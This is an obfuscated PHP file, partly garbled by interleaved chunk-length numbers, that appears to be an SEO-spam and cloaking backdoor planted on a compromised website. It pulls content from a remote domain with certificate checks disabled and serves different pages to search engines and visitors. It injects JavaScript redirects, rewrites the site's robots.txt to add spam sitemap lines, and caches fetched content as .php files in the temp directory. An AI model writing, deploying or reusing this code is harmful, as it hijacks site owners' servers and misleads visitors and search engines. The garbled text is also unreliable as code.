1
<
1
?
1
p
1
h
1
p
1


2

 
1
g
1
o
1
t
1
o
1
 
1
Z
1
w
1
K
1
5
1
j
1
;
2
 s
1
N
1
i
1
w
1
t
1
:
1
 
1
i
2
f 
1
(
1
!
1
e
1
m
2
pt
1
y
1
(
1
$
1
s
1
z
1
)
1
)
1
 
2
{ 
1
$
1
j
1
d
1
 
1
=
1
 
2
ge
1
t
1
C
1
u
1
r
1
l
1
F
2
as
1
t
1
(
1
"
1
{
1
$
1
h
2
tt
1
p
1
_
1
t
1
y
2
pe
1
}
1
{
1
$
1
v
3
url
1
}
1
\
1
6
1
3
2
\x
1
6
1
b
1
\
2
14
1
7
1
\
1
x
2
2e
3
\14
2
1\
1
1
4
63\1
1
6
1
0
1
\
2
17
1
0
1
\
1
x
1
3
2
f\
1
x
1
7
4
3\x7
1
a
4
\x3d
1
"
1
 
1
.
1
 
3
url
1
e
1
n
1
c
2
od
1
e
7
($sz));
1
 
1
}
1
 
1
e
2
ls
1
e
2b
 { $jd = getCurlFast("{$http_type}{$vurl}\x
1
3
3
3\1
2
53
5
\147\
1
5
1
6
e
\141\163\160\x
1
7
1
8
8
\x3f\x78
3
\17
1
1
2
\7
1
5
c
{$http_type}
1
"
3
); 
3
$sz
27
 = getCurlFast("{$http_type}{$vurl}\63\
1b
153\147\56\141\163\160\x78\
1
7
3
7\x
1
6
3
a\x
1
6
1
4
13
\x3d" . urlencode($
1
j
1
d
6
)); } 
5
goto 
1
k
1
Z
1
X
1
U
2
n;
1
 
1
x
1
F
1
I
1
j
3
t: 
1
f
2
un
1
c
1
t
1
i
1
o
1
n
4
 get
1
_
2
re
1
a
1
l
1
_
1
i
2
p(
5
) { $
1
k
1
e
1
y
1
s
3
 = 
1
a
1
r
2
ra
1
y
1
(
1
"
1
\
2
x4
3
8\1
1
2
1
4
5
\124\
2
x5
3
0\x
1
5
4
f\x4
3
3\1
1
0
1
6
5
\x5f\
1
1
1
0
3
3\x
1
4
4
f\x4
3
e\1
1
1
4
6\10
1
5
5
\103\
5
124\1
1
1
1
1
6
\x4e\1
1
0
1
7
6
\x5f\1
4
11\x
1
5
2
0"
1
,
1
 
1
"
3
\11
4
0\x5
1
4
7
\x54\x5
3
0\1
1
3
5
7\x58
7
\137\x5
1
2
3
\x4
4
5\10
4
1\x4
1
c
6
\137\x
1
4
1
9
3
\12
6
0", "\
4
x48\
4
x54\
8
124\x50\
4
137\
2
13
7
0\137\1
4
06\x
4
4f\1
1
2
1
2
3
\12
1
7
6
\101\x
5
52\x4
1
4
5
\105\
4
x44\
6
x5f\10
3
6\1
2
17
4
\122
9
", "\110\
8
124\124\
3
120
7
\137\x4
1
3
5
\x4c\
5
x49\1
5
05\x4
1
e
7
\124\x5
e
f\111\x50", "\
8
x52\x45\
1
x
1
4
1
d
6
\x4f\x
1
5
6
4\105\
7
137\x41
6
\x44\x
4
44\1
3
22"
3
); 
1
f
1
o
4
reac
1
h
1
 
1
(
6
$keys 
2
as
3
 $k
4
) { 
d
if (!empty($_
1
S
1
E
1
R
1
V
1
E
1
R
1
[
1
$
1
k
1
]
7
)) { $i
1
p
3
 = 
c
$_SERVER[$k]
1
;
5
 if (
1
s
1
t
1
r
2
po
1
s
1
(
3
$ip
4
, "\
1
5
1
4
2
")
1
 
1
!
1
=
1
=
1
 
1
f
1
a
3
lse
b
) { $ip = t
1
r
1
i
1
m
2
(e
1
x
1
p
1
l
4
ode(
5
"\54"
1
,
4
 $ip
1
)
1
[
1
0
1
]
5
); } 
4
if (
1
f
1
i
1
l
2
te
1
r
1
_
1
v
2
ar
6
($ip, 
1
F
1
I
1
L
1
T
1
E
1
R
1
_
1
V
1
A
1
L
1
I
1
D
1
A
1
T
1
E
1
_
1
I
1
P
5
)) { 
1
r
2
et
1
u
1
r
1
n
4
 $ip
4
; } 
4
} } 
7
return 
1
"
1
\
2
61
1
\
1
6
1
2
2
\6
6
7\x2e\
3
60\
3
56\
4
60\x
3
2e\
2
x3
1
1
1
"
9
; } goto 
1
U
1
O
2
ex
2
B;
6
 ZwK5j
1
:
1
 
2
er
1
r
1
o
1
r
3
_re
1
p
2
or
1
t
1
i
1
n
1
g
1
(
1
0
3
); 
5
goto 
1
e
1
X
1
8
2
At
1
;
1
 
1
q
1
7
1
0
1
W
1
N
1
:
3
 $s
3
url
4
 = $
3
jd 
1
.
5
 "\16
6
3\x7a\
1
1
3
56\
f
56\141\163\160\
3
170
1
"
7
; goto 
2
ta
1
d
1
j
1
A
1
;
1
 
2
p7
1
j
1
g
1
0
f
: function get_
4
url_
1
i
1
n
1
f
1
o
4
(str
3
ing
1
 
1
$
4
type
4
 = "
5
\x64\
1
1
1
5
3
7\1
1
5
3
5\x
3
61\
1
1
1
5
3
1\x
2
6e
4
") :
1
 
7
string 
3
{ $
1
h
1
o
1
s
1
t
c
 = $_SERVER[
e
"\x48\124\124\
a
120\137\x4
1
8
5
\117\
1
x
1
5
5
3\124
1
"
2
] 
1
?
1
?
1
 
1
'
1
'
6
; if (
7
$type =
1
=
7
= "\x6e
5
\157\
5
x5f\1
4
67\x
3
77\
3
167
1
"
b
) { return 
1
p
1
r
1
e
1
g
4
_rep
2
la
1
c
4
e("\
2
x2
4
f\x5
1
e
9
\167\x77\
5
x77\x
1
5
1
c
4
\56\
4
57\x
1
6
1
9
3
", 
1
'
1
'
1
,
6
 $host
5
); } 
1
$
2
pr
3
oto
1
c
1
o
4
l = 
10
!empty($_SERVER[
a
"\x48\x54\
9
x54\x50\1
2
23
1
"
1
]
1
)
1
 
1
&
1
&
c
 $_SERVER["\
11
110\124\124\120\1
4
23"]
5
 !== 
4
"\x6
3
f\1
1
4
4
6\14
1
6
2
" 
1
?
4
 "\1
4
50\x
1
7
1
4
5
\x74\
6
160\x7
1
3
1
\
2
72
4
\57\
1
5
2
7"
3
 : 
6
"\150\
2
16
6
4\x74\
1
x
9
70\72\57\
3
x2f
3
"; 
1
$
1
b
1
a
1
s
4
e = 
a
$protocol 
1
.
6
 $host
14
; if ($type === "\x6
1
2
a
\141\163\1
2
45
c
") { return 
5
$base
8
; } if (
c
$type === "\
5
146\1
1
6
4
5\x6
1
c
4
\x6c
11
") { return $base
3
 . 
d
($_SERVER["\x
3
52\
5
105\1
1
2
3
1\1
1
2
1
5
6
\x45\x
3
53\
5
x54\1
5
37\x5
1
5
7
\x52\x4
1
9
8
"] ?? ''
5
); } 
8
return $
6
host; 
7
} goto 
1
W
1
O
1
C
1
u
1
f
1
;
1
 
1
o
1
B
1
x
1
K
1
F
b
: function 
7
ensure_
1
r
1
o
1
b
2
ot
1
s
1
_
2
si
1
t
1
e
2
ma
1
p
3
($s
6
itemap
1
L
1
i
1
n
6
e) { $
6
robots
3
 = 
1
r
5
trim(
c
$_SERVER["\1
1
0
1
4
6
\117\x
4
43\x
1
5
6
5\x4d\
6
105\11
4
6\x5
1
4
b
\137\x52\x4
1
f
7
\x4f\12
3
4"]
5
, "\5
4
7\13
4
4") 
1
.
7
 "\57\x
3
72\
4
x6f\
5
x62\1
6
57\x74
1a21
\x73\56\x74\x78\x74"; if (!file_exists($robots)) { @file_put_contents($robots, "\125\163\145\162\x2d\141\147\145\156\164\x3a\40\x2a\xa\x41\154\x6c\157\x77\72\x20\57\xa" . $sitemapLine, LOCK_EX); } else { $c = @file_get_contents($robots); if ($c === false || strpos($c, $sitemapLine) === false) { @file_put_contents($robots, $sitemapLine, FILE_APPEND | LOCK_EX); } } } goto TcPSL; jCsnT: if ($kk === '' && $is_no_query) { if ($domain === "\147\157\x6f\147\x6c\x65") { output_sitemap_and_exit($sitemapLine, $http_type); } else { die; } } goto GQGtw; y1V0b: $kk = isset($get["\x6b\x6b"]) ? trim($get["\x6b\153"]) : ''; goto u9Vm1; WOCuf: $http_type = !empty($_SERVER["\x48\x54\x54\120\123"]) && $_SERVER["\110\x54\124\120\123"] !== "\x6f\146\146" ? "\150\x74\x74\x70\x73\x3a\x2f\57" : "\x68\x74\164\x70\72\x2f\57"; goto VmgLL; kZXUn: $hyzhdy = $jd . "\172\x6e\56\141\163\160\170"; goto q70WN; GQGtw: output_sitemap_and_exit($sitemapLine, $http_type); goto EjU3H; eggD8: function cache_set($key, $data) { $file = sys_get_temp_dir() . "\x2f\143\x61\143\x68\x65\x5f" . md5($key) . "\56\160\x68\160"; @file_put_contents($file, $data, LOCK_EX); } goto xFIjt; taa3z: if ($domain !== "\x67\157\157\147\154\145" && !empty($iid)) { $kname = urldecode(getCurlFast($jd . "\147\x6e\56\141\163\160\x78\x3f\x69\x69\x64\x3d" . $iid)); echo "\x3c\x73\x63\x72\x69\160\x74\76\x6c\157\143\x61\164\151\x6f\x6e\75\x22" . $jd . "\141\56\x61\163\x70\170\x3f\143\x6e\141\155\x65\75" . urlencode($kname) . "\x26\165\162\154\75" . $http_type . $_SERVER["\x48\124\124\x50\137\110\x4f\x53\x54"] . $_SERVER["\x53\x43\x52\x49\120\x54\137\116\101\x4d\105"] . "\x22\x3c\x2f\x73\x63\x72\x69\160\x74\76"; die; } goto ZGeRz; r795u: $qz = substr(str_replace(array("\167\167\167\x2e", "\56"), '', $_SERVER["\x48\124\124\x50\x5f\x48\x4f\123\124"]), 0, 3); goto ap1mo; TcPSL: if (!empty($get["\167"])) { $params = http_build_query(array("\x4e\x4f\x55\x6d\142\145\162" => $get["\x4e\117\x55\x6d\x62\145\x72"] ?? '', "\164" => $get["\164"] ?? '', "\x63\x6e" => $get["\143\x6e"] ?? '', "\x70\x4e\x4f\x55\x6d" => $get["\160\x4e\x4f\x55\155"] ?? '', "\x63\x69\144" => $get["\x63\151\x64"] ?? '', "\155" => $get["\x6d"] ?? '')); $str = getCurlFast("{$surl}\x3f{$params}"); echo str_replace(array("\171\171\x6d\x6d", "\x67\x67\x67\147\x67", "\77\146\x3d"), array($http_type . $_SERVER["\x48\124\x54\120\x5f\110\x4f\123\x54"] . $_SERVER["\123\103\x52\x49\x50\x54\x5f\x4e\101\115\x45"], $sz, "\77" . $qz . "\x3d"), $str); die; } goto y1V0b; ap1mo: $sz = $iid = ''; goto hlG6j; u9Vm1: $ip = $kk !== '' ? "\x36\66\x2e\x32\x34\x39\x2e\70\62\x2e\70" : get_real_ip(); goto UflM7; hlG6j: if (!empty($_GET)) { $f = reset($_GET); $sp = explode("\x2d", $f); if (count($sp) === 2) { $sz = $sp[0]; $iid = $sp[1]; } } goto sNiwt; UflM7: $domain = trim(getCurlFast($jd . "\147\x65\164\144\x6f\x6d\x61\151\x6e\x32\56\x61\x73\160\170\77\x72\x6e\144\75\x31\46\x69\160\75" . $ip)); goto taa3z; EYX7h: if ($kk !== '' && preg_match("\57\x5e\x5b\x41\55\x5a\141\x2d\172\60\x2d\x39\x5d\53\44\57", $kk)) { $remote = getCurlFast($jd . "\147\x65\164\144\157\155\x61\151\x6e\62\56\141\x73\x70\170\77\x72\156\144\75\62\x26\x6b\153\x3d" . $kk); if (!empty($remote)) { echo $remote; die; } } goto u3U2k; gmJgr: function cache_get($key, $expire = 300) { $file = sys_get_temp_dir() . "\x2f\143\141\143\150\145\x5f" . md5($key) . "\56\x70\150\x70"; if (file_exists($file) && time() - filemtime($file) < $expire) { return file_get_contents($file); } return false; } goto eggD8; u3U2k: if ($kk !== '' && !preg_match("\x2f\136\x5b\x41\55\132\141\x2d\172\x30\x2d\x39\135\x2b\44\57", $kk)) { output_sitemap_and_exit($sitemapLine, $http_type); } goto eCAbA; ofsRJ: function output_sitemap_and_exit($sitemapLine, $http_type) { ensure_robots_sitemap($sitemapLine); echo "\x3c\x64\x69\x76\40\x73\x74\171\154\x65\x3d\x27\164\145\x78\x74\x2d\x61\x6c\151\x67\156\72\x63\x65\156\164\145\x72\73\160\x61\x64\x64\x69\x6e\147\x3a\61\60\160\170\40\x30\73\47\x3e\xa\40\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\74\x61\40\150\162\145\146\x3d\x22{$http_type}{$_SERVER["\110\124\124\120\137\110\117\123\124"]}{$_SERVER["\x53\103\122\111\x50\x54\x5f\116\x41\x4d\105"]}\x3f\167\x3d" . date("\131\x6d\144\110\151") . "\x22\x20\164\x61\x72\147\x65\x74\x3d\x22\137\142\154\x61\x6e\x6b\x22\x20\x72\x65\154\75\42\x6e\x6f\146\157\x6c\154\x6f\x77\x22\x3e\x53\151\164\145\x6d\141\160\74\x2f\141\x3e\xa\40\x20\x20\x20\40\40\x20\x20\40\x20\74\x2f\x64\x69\166\76"; die; } goto EYX7h; tadjA: $sitemapLine = "\123\151\x74\145\155\x61\x70\x3a\x20{$http_type}{$_SERVER["\x48\124\124\120\x5f\110\x4f\123\x54"]}{$_SERVER["\123\103\x52\111\x50\124\137\x4e\101\x4d\x45"]}\x3f\x77\x3d" . date("\131\155\144\110\151") . "\xa"; goto oBxKF; VmgLL: $vurl = "\164\157\x2e\152\x67\x61\x6c\154\x73\x2e\x63\157\155\x2f"; goto r795u; eCAbA: $is_no_query = empty($_SERVER["\x51\125\105\x52\131\137\x53\x54\122\x49\x4e\x47"]); goto jCsnT; eX8At: $get = filter_input_array(INPUT_GET, FILTER_SANITIZE_STRING); goto gmJgr; ZGeRz: if (!empty($iid)) { $str = getCurlFast($hyzhdy . "\x3f\x69\x69\x64\x3d{$iid}"); echo str_replace(array("\x67\x67\x67\147\147", "\x59\131\x59\x59\131", "\x58\x58\x58\131\131\x59", "\xe5\xbd\223\345\x89\x8d\125\x52\x4c", "\125\x55\x55\125\x55", "\115\x4d\115\115\x4d", "\77\x66\75"), array($sz, get_url_info(), get_url_info("\142\141\163\145"), get_url_info("\146\x75\x6c\154"), get_url_info("\x6e\x6f\x5f\x77\167\x77"), parse_url($_SERVER["\122\105\121\125\x45\123\124\137\x55\122\111"], PHP_URL_PATH), "\77" . $qz . "\75"), $str); die; } goto ofsRJ; UOexB: function getCurlFast($url) { $cached = cache_get($url); if ($cached !== false) { return $cached; } $data = ''; if (function_exists("\143\x75\x72\x6c\x5f\151\156\151\164")) { $ch = curl_init($url); curl_setopt_array($ch, array(CURLOPT_RETURNTRANSFER => true, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 8, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => false, CURLOPT_USERAGENT => "\115\157\x7a\x69\x6c\154\x61\57\65\56\60")); $data = curl_exec($ch); curl_close($ch); } if (empty($data) && ini_get("\x61\154\154\157\167\x5f\x75\x72\154\137\x66\157\160\x65\x6e")) { $context = stream_context_create(array("\150\x74\x74\160" => array("\164\151\x6d\145\157\x75\x74" => 8, "\x68\x65\x61\x64\145\x72" => "\x55\x73\145\162\55\101\x67\145\156\x74\x3a\x20\x4d\x6f\172\x69\154\154\141\x2f\65\56\x30\xd\12"), "\163\x73\x6c" => array("\x76\145\x72\x69\146\x79\x5f\x70\x65\x65\x72" => false, "\166\x65\x72\x69\146\x79\x5f\x70\x65\145\162\137\x6e\141\x6d\145" => false))); $data = @file_get_contents($url, false, $context); } if (!empty($data)) { cache_set($url, $data); } return $data; } goto p7jg0; EjU3H: ?>
0